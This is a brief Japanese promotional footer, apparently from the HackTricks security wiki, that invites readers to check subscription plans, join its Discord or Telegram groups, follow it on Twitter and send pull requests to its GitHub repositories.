- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。